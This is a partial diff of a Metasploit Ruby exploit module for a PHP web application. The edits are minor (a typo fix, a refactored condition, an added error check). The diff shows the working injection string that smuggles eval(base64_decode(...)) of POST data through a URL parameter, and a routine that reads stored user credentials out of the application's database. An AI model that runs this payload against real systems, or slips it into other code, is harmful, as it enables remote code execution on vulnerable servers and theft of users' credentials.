@@ -18,7 +18,7 @@ def initialize(info = {})
18
18
'Description' => %q{
19
19
This module exploits a vulnerability in lib/dbtools.inc which uses
20
20
unsanitized user input inside a eval() call. Additionally the base64 encoded
21
- user credentials are extracted from the dtabase of the application.
21
+ user credentials are extracted from the database of the application.
22
22
23
23
} ,
24
24
'Author' => [ 'h0ng10' ] , # original discovery, msf module
@@ -56,7 +56,7 @@ def check
56
56
# we use a call to phpinfo() for verification
57
57
res = execute_php_code ( "phpinfo();die();" )
58
58
59
- if ( not res ) or ( res . code != 200 )
59
+ if not res or res . code != 200
60
60
print_error ( "Failed: Error requesting page" )
61
61
return CheckCode ::Unknown
62
62
end
@@ -78,6 +78,12 @@ def read_credentials()
78
78
79
79
print_status ( "Reading user credentials from the database" )
80
80
response = execute_php_code ( php )
81
+
82
+ if not response or response . code != 200 then
83
+ print_error ( "Failed: Error requesting page" )
84
+ return
85
+ end
86
+
81
87
credentials = response . body . to_s . scan ( /\d {10}(.*)\d {10}(.*)\d {10}/ )
82
88
83
89
return if credentials . length == 0
@@ -99,7 +105,6 @@ def execute_php_code(code, opts = {})
99
105
param_name = rand_text_alpha ( 6 )
100
106
padding = rand_text_alpha ( 6 )
101
107
php_code = Rex ::Text . encode_base64 ( code )
102
- #url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
103
108
url_param = "#{ padding } %22%5d,%20eval(base64_decode(%24_POST%5b%27#{ param_name } %27%5d))%29;%2f%2f"
104
109
105
110
res = send_request_cgi (
0 commit comments